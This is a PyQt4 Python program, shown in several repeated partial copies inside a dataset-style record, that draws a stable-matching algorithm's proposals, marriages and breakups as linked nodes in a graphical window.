link = Link(name1 + '-' + name2, link_type)
link.setLine(center1.x(), center1.y(), center2.x(), center2.y())
link.changeColor(color)
scene.addItem(link)
def __deleteLink(self, scene, name):
link = self.__findItem(name, Link, scene.items())
scene.removeItem(link)
def __changeText(self, scene, name, text):
txt = self.__findItem(name, Text, scene.items())
txt.setPlainText(text)
def __findItem(self, name, _type, items):
for item in items:
if isinstance(item, _type) and name == item.getName():
return item
return False
def __clearLinks(self, scene):
for item in scene.items():
if isinstance(item, Link) and item.getType() != 'marry':
scene.removeItem(item)
def __clearUpLinks(self, scene):
for item in scene.items():
if isinstance(item, Link):
scene.removeItem(item)
def __refreshViewStep(self, info):
record = info.split('\n')
length = len(record)
lineiter = 0
epoch = record[lineiter].strip().split(':')[1]
lineiter += 1
step = record[lineiter].strip().split(':')[1]
lineiter += 1
statu = record[lineiter].strip()
if 'DONE' in statu:
return 0
elif 'is not activity' in statu:
return 1
elif 'is married' in statu:
return 2
couple = statu.replace(' ', '').split('target')
man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())
woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.
items())
lineiter += 1
sui_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Husband Rank' in record[lineiter]:
husband_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Succeed' in record[lineiter]:
self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
lineiter += 1
if lineiter <= length:
if 'threw away' in record[lineiter]:
throwCouple = record[lineiter].replace(' ', '').split(
'threwaway')
node1 = self.__findItem('M_' + throwCouple[1], Node,
self.history_scene.items())
node2 = self.__findItem('W_' + throwCouple[0], Node,
self.history_scene.items())
self.__addLink(self.history_scene, throwCouple[1] + '-' +
throwCouple[0], node1, node2, (0, 255, 0), 'break')
self.__deleteLink(self.statu_scene, throwCouple[1] +
'-' + throwCouple[0])
self.__changeText(self.statu_scene, 'M_' + throwCouple[
1] + '_S', '-1')
self.__changeText(self.history_scene, 'M_' +
throwCouple[1] + '_S', '-1')
self.statu_view.update()
self.history_view.update()
elif 'Failed' in record[lineiter]:
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, (0, 0, 255), 'failed')
self.statu_view.update()
self.history_view.update()
def nextStep(self):
info = self.matching.step()
self.showText.setText(info)
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
self.__refreshViewStep(info)
def nextEpoch(self):
info = self.matching.epoch()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
sep = info.split('\n')[0]
records = info.split(sep + '\n')
del records[0]
for record in records:
self.__refreshViewStep(sep + '\n' + record)
self.showText.setText(info)
def exeToEnd(self):
info = self.matching.exe_to_end()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
records = info.split('EPOCH')
del records[0]
for record in records:
self.__refreshViewStep('EPOCH' + record)
self.showText.setText(info)
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.
QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Link(QtGui.QGraphicsLineItem):
def __init__(self, name, link_type):
super(Link, self).__init__()
self.__link_type = link_type
self.__name = name
<|reserved_special_token_0|>
def getType(self):
return self.__link_type
def changeType(self, link_type):
self.__link_type = link_type
<|reserved_special_token_0|>
class Text(QtGui.QGraphicsTextItem):
def __init__(self, name, text):
super(Text, self).__init__(text)
self.__name = name
def getName(self):
return self.__name
class GUI(QtGui.QWidget):
def __init__(self):
super(GUI, self).__init__()
self.exp = experiment.Experiments(20, 3)
self.matching = self.exp.unidirectional_match()
self.man_rank, self.woman_rank = self.matching.get_avg_rank()
self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()
self.initUI()
self.showMaximized()
def initUI(self):
self.setWindowTitle(' Stable Matching ')
grid = QtGui.QGridLayout()
step_button = QtGui.QPushButton('STEP', self)
epoch_button = QtGui.QPushButton('EPOCH', self)
end_button = QtGui.QPushButton('END', self)
self.showText = QtGui.QTextEdit(self)
self.showText.setText('START! ')
self.statu_scene = QtGui.QGraphicsScene(self)
self.initScene(self.statu_scene)
self.statu_view = QtGui.QGraphicsView()
self.statu_view.setScene(self.statu_scene)
self.statu_view.setMinimumSize(600, 600)
self.statu_view.show()
self.history_scene = QtGui.QGraphicsScene(self)
self.initScene(self.history_scene)
self.history_view = QtGui.QGraphicsView()
self.history_view.setScene(self.history_scene)
self.history_view.setMinimumSize(600, 600)
self.history_view.show()
grid.addWidget(step_button, 1, 1)
grid.addWidget(epoch_button, 2, 1)
grid.addWidget(end_button, 3, 1)
grid.addWidget(self.showText, 1, 2, 4, 1)
grid.addWidget(self.statu_view, 1, 3, 4, 1)
grid.addWidget(self.history_view, 1, 4, 4, 1)
self.setLayout(grid)
self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)
self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)
self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)
def initScene(self, scene):
man_num = self.exp.get_man_num()
woman_num = self.exp.get_woman_num()
length = max(man_num, woman_num) * 30
scene.setSceneRect(0, 0, 600, length)
for i in range(man_num):
node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,
(0, 0, 255))
for i in range(woman_num):
node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,
(255, 0, 0))
def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):
sex = name.split('_')[0]
number = name.split('_')[1]
rank_bias = spouse_bias = rank = 0
if sex == 'M':
rank = self.man_rank[int(number)]
rank_bias = -2.0
spouse_bias = -4.0
elif sex == 'W':
rank = self.woman_rank[int(number)]
rank_bias = 2.0
spouse_bias = 4.0
node = Node(name)
node.setRect(x, y, w, h)
node.changeBrush(color, 1)
if int(number) < 10:
number = '0' + number
text = QtGui.QGraphicsTextItem(number, node)
text.setPos(x, y)
text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
text.setFont(font)
rank_text = QtGui.QGraphicsTextItem(str(rank), node)
rank_text.setPos(x + rank_bias * w, y)
rank_text.setTextWidth(2 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
rank_text.setFont(font)
spouse_text = Text(name + '_S', '-1')
spouse_text.setPos(x + spouse_bias * w, y)
spouse_text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
spouse_text.setFont(font)
scene.addItem(node)
scene.addItem(spouse_text)
def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),
link_type=''):
center1 = node1.boundingRect().center()
center2 = node2.boundingRect().center()
name1 = node1.getName().split('_')[1]
name2 = node2.getName().split('_')[1]
link = Link(name1 + '-' + name2, link_type)
link.setLine(center1.x(), center1.y(), center2.x(), center2.y())
link.changeColor(color)
scene.addItem(link)
def __deleteLink(self, scene, name):
link = self.__findItem(name, Link, scene.items())
scene.removeItem(link)
def __changeText(self, scene, name, text):
txt = self.__findItem(name, Text, scene.items())
txt.setPlainText(text)
def __findItem(self, name, _type, items):
for item in items:
if isinstance(item, _type) and name == item.getName():
return item
return False
def __clearLinks(self, scene):
for item in scene.items():
if isinstance(item, Link) and item.getType() != 'marry':
scene.removeItem(item)
def __clearUpLinks(self, scene):
for item in scene.items():
if isinstance(item, Link):
scene.removeItem(item)
def __refreshViewStep(self, info):
record = info.split('\n')
length = len(record)
lineiter = 0
epoch = record[lineiter].strip().split(':')[1]
lineiter += 1
step = record[lineiter].strip().split(':')[1]
lineiter += 1
statu = record[lineiter].strip()
if 'DONE' in statu:
return 0
elif 'is not activity' in statu:
return 1
elif 'is married' in statu:
return 2
couple = statu.replace(' ', '').split('target')
man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())
woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.
items())
lineiter += 1
sui_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Husband Rank' in record[lineiter]:
husband_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Succeed' in record[lineiter]:
self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
lineiter += 1
if lineiter <= length:
if 'threw away' in record[lineiter]:
throwCouple = record[lineiter].replace(' ', '').split(
'threwaway')
node1 = self.__findItem('M_' + throwCouple[1], Node,
self.history_scene.items())
node2 = self.__findItem('W_' + throwCouple[0], Node,
self.history_scene.items())
self.__addLink(self.history_scene, throwCouple[1] + '-' +
throwCouple[0], node1, node2, (0, 255, 0), 'break')
self.__deleteLink(self.statu_scene, throwCouple[1] +
'-' + throwCouple[0])
self.__changeText(self.statu_scene, 'M_' + throwCouple[
1] + '_S', '-1')
self.__changeText(self.history_scene, 'M_' +
throwCouple[1] + '_S', '-1')
self.statu_view.update()
self.history_view.update()
elif 'Failed' in record[lineiter]:
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, (0, 0, 255), 'failed')
self.statu_view.update()
self.history_view.update()
def nextStep(self):
info = self.matching.step()
self.showText.setText(info)
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
self.__refreshViewStep(info)
def nextEpoch(self):
info = self.matching.epoch()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
sep = info.split('\n')[0]
records = info.split(sep + '\n')
del records[0]
for record in records:
self.__refreshViewStep(sep + '\n' + record)
self.showText.setText(info)
def exeToEnd(self):
info = self.matching.exe_to_end()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
records = info.split('EPOCH')
del records[0]
for record in records:
self.__refreshViewStep('EPOCH' + record)
self.showText.setText(info)
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.
QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Link(QtGui.QGraphicsLineItem):
def __init__(self, name, link_type):
super(Link, self).__init__()
self.__link_type = link_type
self.__name = name
def getName(self):
return self.__name
def getType(self):
return self.__link_type
def changeType(self, link_type):
self.__link_type = link_type
def changeColor(self, color):
p = QtGui.QPen()
c = p.color()
c.setRgb(color[0], color[1], color[2])
p.setColor(c)
self.setPen(p)
class Text(QtGui.QGraphicsTextItem):
def __init__(self, name, text):
super(Text, self).__init__(text)
self.__name = name
def getName(self):
return self.__name
class GUI(QtGui.QWidget):
def __init__(self):
super(GUI, self).__init__()
self.exp = experiment.Experiments(20, 3)
self.matching = self.exp.unidirectional_match()
self.man_rank, self.woman_rank = self.matching.get_avg_rank()
self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()
self.initUI()
self.showMaximized()
def initUI(self):
self.setWindowTitle(' Stable Matching ')
grid = QtGui.QGridLayout()
step_button = QtGui.QPushButton('STEP', self)
epoch_button = QtGui.QPushButton('EPOCH', self)
end_button = QtGui.QPushButton('END', self)
self.showText = QtGui.QTextEdit(self)
self.showText.setText('START! ')
self.statu_scene = QtGui.QGraphicsScene(self)
self.initScene(self.statu_scene)
self.statu_view = QtGui.QGraphicsView()
self.statu_view.setScene(self.statu_scene)
self.statu_view.setMinimumSize(600, 600)
self.statu_view.show()
self.history_scene = QtGui.QGraphicsScene(self)
self.initScene(self.history_scene)
self.history_view = QtGui.QGraphicsView()
self.history_view.setScene(self.history_scene)
self.history_view.setMinimumSize(600, 600)
self.history_view.show()
grid.addWidget(step_button, 1, 1)
grid.addWidget(epoch_button, 2, 1)
grid.addWidget(end_button, 3, 1)
grid.addWidget(self.showText, 1, 2, 4, 1)
grid.addWidget(self.statu_view, 1, 3, 4, 1)
grid.addWidget(self.history_view, 1, 4, 4, 1)
self.setLayout(grid)
self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)
self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)
self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)
def initScene(self, scene):
man_num = self.exp.get_man_num()
woman_num = self.exp.get_woman_num()
length = max(man_num, woman_num) * 30
scene.setSceneRect(0, 0, 600, length)
for i in range(man_num):
node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,
(0, 0, 255))
for i in range(woman_num):
node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,
(255, 0, 0))
def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):
sex = name.split('_')[0]
number = name.split('_')[1]
rank_bias = spouse_bias = rank = 0
if sex == 'M':
rank = self.man_rank[int(number)]
rank_bias = -2.0
spouse_bias = -4.0
elif sex == 'W':
rank = self.woman_rank[int(number)]
rank_bias = 2.0
spouse_bias = 4.0
node = Node(name)
node.setRect(x, y, w, h)
node.changeBrush(color, 1)
if int(number) < 10:
number = '0' + number
text = QtGui.QGraphicsTextItem(number, node)
text.setPos(x, y)
text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
text.setFont(font)
rank_text = QtGui.QGraphicsTextItem(str(rank), node)
rank_text.setPos(x + rank_bias * w, y)
rank_text.setTextWidth(2 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
rank_text.setFont(font)
spouse_text = Text(name + '_S', '-1')
spouse_text.setPos(x + spouse_bias * w, y)
spouse_text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
spouse_text.setFont(font)
scene.addItem(node)
scene.addItem(spouse_text)
def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),
link_type=''):
center1 = node1.boundingRect().center()
center2 = node2.boundingRect().center()
name1 = node1.getName().split('_')[1]
name2 = node2.getName().split('_')[1]
link = Link(name1 + '-' + name2, link_type)
link.setLine(center1.x(), center1.y(), center2.x(), center2.y())
link.changeColor(color)
scene.addItem(link)
def __deleteLink(self, scene, name):
link = self.__findItem(name, Link, scene.items())
scene.removeItem(link)
def __changeText(self, scene, name, text):
txt = self.__findItem(name, Text, scene.items())
txt.setPlainText(text)
def __findItem(self, name, _type, items):
for item in items:
if isinstance(item, _type) and name == item.getName():
return item
return False
def __clearLinks(self, scene):
for item in scene.items():
if isinstance(item, Link) and item.getType() != 'marry':
scene.removeItem(item)
def __clearUpLinks(self, scene):
for item in scene.items():
if isinstance(item, Link):
scene.removeItem(item)
def __refreshViewStep(self, info):
record = info.split('\n')
length = len(record)
lineiter = 0
epoch = record[lineiter].strip().split(':')[1]
lineiter += 1
step = record[lineiter].strip().split(':')[1]
lineiter += 1
statu = record[lineiter].strip()
if 'DONE' in statu:
return 0
elif 'is not activity' in statu:
return 1
elif 'is married' in statu:
return 2
couple = statu.replace(' ', '').split('target')
man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())
woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.
items())
lineiter += 1
sui_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Husband Rank' in record[lineiter]:
husband_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Succeed' in record[lineiter]:
self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
lineiter += 1
if lineiter <= length:
if 'threw away' in record[lineiter]:
throwCouple = record[lineiter].replace(' ', '').split(
'threwaway')
node1 = self.__findItem('M_' + throwCouple[1], Node,
self.history_scene.items())
node2 = self.__findItem('W_' + throwCouple[0], Node,
self.history_scene.items())
self.__addLink(self.history_scene, throwCouple[1] + '-' +
throwCouple[0], node1, node2, (0, 255, 0), 'break')
self.__deleteLink(self.statu_scene, throwCouple[1] +
'-' + throwCouple[0])
self.__changeText(self.statu_scene, 'M_' + throwCouple[
1] + '_S', '-1')
self.__changeText(self.history_scene, 'M_' +
throwCouple[1] + '_S', '-1')
self.statu_view.update()
self.history_view.update()
elif 'Failed' in record[lineiter]:
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, (0, 0, 255), 'failed')
self.statu_view.update()
self.history_view.update()
def nextStep(self):
info = self.matching.step()
self.showText.setText(info)
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
self.__refreshViewStep(info)
def nextEpoch(self):
info = self.matching.epoch()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
sep = info.split('\n')[0]
records = info.split(sep + '\n')
del records[0]
for record in records:
self.__refreshViewStep(sep + '\n' + record)
self.showText.setText(info)
def exeToEnd(self):
info = self.matching.exe_to_end()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
records = info.split('EPOCH')
del records[0]
for record in records:
self.__refreshViewStep('EPOCH' + record)
self.showText.setText(info)
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.
QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
# -*- coding:utf-8 -*-
import sys
from PyQt4 import QtGui,QtCore
import experiment
class Node(QtGui.QGraphicsEllipseItem):
def __init__(self,name):
super(Node, self).__init__()
self.__name = name
def getName(self):
return self.__name
def changeBrush(self, color, style):
b = QtGui.QBrush()
b.setStyle(style)
c = b.color()
c.setRgb(color[0],color[1],color[2])
b.setColor(c)
self.setBrush(b)
class Link(QtGui.QGraphicsLineItem):
def __init__(self,name,link_type):
super(Link, self).__init__()
self.__link_type = link_type
self.__name = name
def getName(self):
return self.__name
def getType(self):
return self.__link_type
def changeType(self,link_type):
self.__link_type = link_type
def changeColor(self,color):
p = QtGui.QPen()
c = p.color()
c.setRgb(color[0],color[1],color[2])
p.setColor(c)
self.setPen(p)
class Text(QtGui.QGraphicsTextItem):
def __init__(self,name,text):
super(Text, self).__init__(text)
self.__name = name
def getName(self):
return self.__name
class GUI(QtGui.QWidget):
def __init__(self):
super(GUI, self).__init__()
self.exp = experiment.Experiments(20,3)
self.matching = self.exp.unidirectional_match()
self.man_rank, self.woman_rank = self.matching.get_avg_rank()
self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()
self.initUI()
self.showMaximized()
def initUI(self):
self.setWindowTitle(' Stable Matching ')
grid = QtGui.QGridLayout()
step_button = QtGui.QPushButton('STEP',self)
epoch_button = QtGui.QPushButton('EPOCH',self)
end_button = QtGui.QPushButton('END',self)
self.showText = QtGui.QTextEdit(self)
self.showText.setText('START! ')
self.statu_scene = QtGui.QGraphicsScene(self)
self.initScene(self.statu_scene)
self.statu_view = QtGui.QGraphicsView()
self.statu_view.setScene(self.statu_scene)
self.statu_view.setMinimumSize(600,600)
self.statu_view.show()
self.history_scene = QtGui.QGraphicsScene(self)
self.initScene(self.history_scene)
self.history_view = QtGui.QGraphicsView()
self.history_view.setScene(self.history_scene)
self.history_view.setMinimumSize(600,600)
self.history_view.show()
grid.addWidget(step_button,1,1)
grid.addWidget(epoch_button,2,1)
grid.addWidget(end_button,3,1)
grid.addWidget(self.showText,1,2,4,1)
grid.addWidget(self.statu_view,1,3,4,1)
grid.addWidget(self.history_view,1,4,4,1)
self.setLayout(grid)
self.connect(step_button,QtCore.SIGNAL('clicked()'),self.nextStep)
self.connect(epoch_button,QtCore.SIGNAL('clicked()'),self.nextEpoch)
self.connect(end_button,QtCore.SIGNAL('clicked()'),self.exeToEnd)
def initScene(self,scene):
man_num = self.exp.get_man_num()
woman_num = self.exp.get_woman_num()
length = max(man_num,woman_num) * 30
scene.setSceneRect(0,0,600,length)
for i in range(man_num):
node = self.__addNode(scene, 'M_'+str(i),120,i*30,20,20,(0,0,255))
for i in range(woman_num):
node = self.__addNode(scene, 'W_'+str(i),480,i*30,20,20,(255,0,0))
def __addNode(self, scene, name, x, y, w, h, color=(0,0,0)):
sex = name.split('_')[0]
number = name.split('_')[1]
rank_bias = spouse_bias = rank = 0
if sex == 'M':
rank = self.man_rank[int(number)]
rank_bias = -2.0
spouse_bias = -4.0
elif sex == 'W':
rank = self.woman_rank[int(number)]
rank_bias = 2.0
spouse_bias = 4.0
node = Node(name)
node.setRect(x,y,w,h)
node.changeBrush(color,1)
if int(number) < 10:
number = '0' + number
text = QtGui.QGraphicsTextItem (number, node)
text.setPos(x,y)
text.setTextWidth(1.5*w)
font = QtGui.QFont('Times',8)
font.setWeight(99)
text.setFont(font)
rank_text = QtGui.QGraphicsTextItem (str(rank), node)
rank_text.setPos(x + rank_bias*w,y)
rank_text.setTextWidth(2*w)
font = QtGui.QFont('Times',8)
font.setWeight(99)
rank_text.setFont(font)
spouse_text = Text(name+'_S', '-1')
spouse_text.setPos(x + spouse_bias*w,y)
spouse_text.setTextWidth(1.5*w)
font = QtGui.QFont('Times',8)
font.setWeight(99)
spouse_text.setFont(font)
scene.addItem(node)
scene.addItem(spouse_text)
def __addLink(self, scene, name, node1, node2, color = (0,0,0), link_type = ''):
center1 = node1.boundingRect().center()
center2 = node2.boundingRect().center()
name1 = node1.getName().split('_')[1]
name2 = node2.getName().split('_')[1]
link = Link(name1 + '-' + name2, link_type)
link.setLine(center1.x(),center1.y(),center2.x(),center2.y())
link.changeColor(color)
scene.addItem(link)
def __deleteLink(self, scene, name):
link = self.__findItem(name, Link, scene.items())
scene.removeItem(link)
def __changeText(self, scene, name, text):
txt = self.__findItem(name, Text, scene.items())
txt.setPlainText(text)
def __findItem(self, name, _type, items):
for item in items:
if isinstance(item, _type) and name == item.getName():
return item
return False
def __clearLinks(self, scene):
for item in scene.items():
if isinstance(item,Link) and item.getType() != 'marry':
scene.removeItem(item)
def __clearUpLinks(self, scene):
for item in scene.items():
if isinstance(item, Link):
scene.removeItem(item)
def __refreshViewStep(self, info):
record = info.split('\n')
length = len(record)
lineiter = 0
epoch = record[lineiter].strip().split(':')[1]
lineiter += 1
step = record[lineiter].strip().split(':')[1]
lineiter += 1
statu = record[lineiter].strip()
if 'DONE' in statu:
return 0
elif 'is not activity' in statu:
return 1
elif 'is married' in statu:
return 2
couple = statu.replace(' ','').split('target')
man = self.__findItem('M_'+couple[0], Node, self.statu_scene.items())
woman = self.__findItem('W_'+couple[1], Node, self.statu_scene.items())
lineiter += 1
sui_rank = record[lineiter].replace(' ','').split(':')[1]
lineiter += 1
if 'Husband Rank' in record[lineiter]:
husband_rank = record[lineiter].replace(' ','').split(':')[1]
lineiter += 1
if 'Succeed' in record[lineiter]:
self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')
self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')
self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
lineiter += 1
if lineiter <= length:
if 'threw away' in record[lineiter]:
throwCouple = record[lineiter].replace(' ','').split('threwaway')
node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items())
node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items())
self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0,255,0) , 'break')
self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0])
self.__changeText(self.statu_scene, 'M_' + throwCouple[1] + '_S', '-1')
self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1')
self.statu_view.update()
self.history_view.update()
elif 'Failed' in record[lineiter]:
self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0,0,255) , 'failed')
self.statu_view.update()
self.history_view.update()
def nextStep(self):
info = self.matching.step()
self.showText.setText(info)
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
self.__refreshViewStep(info)
def nextEpoch(self):
info = self.matching.epoch()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
sep = info.split('\n')[0]
records = info.split(sep+'\n')
del records[0]
for record in records:
self.__refreshViewStep(sep+'\n'+record)
self.showText.setText(info)
def exeToEnd(self):
info = self.matching.exe_to_end()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
records = info.split('EPOCH')
del records[0]
for record in records:
self.__refreshViewStep('EPOCH'+record)
self.showText.setText(info)
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
gui = GUI()
gui.show()
sys.exit(app.exec_())
|
flexible
|
{
"blob_id": "edbb721784dff81e3e1ab5e0458a4080508807fe",
"index": 4335,
"step-1": "<mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n <mask token>\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text 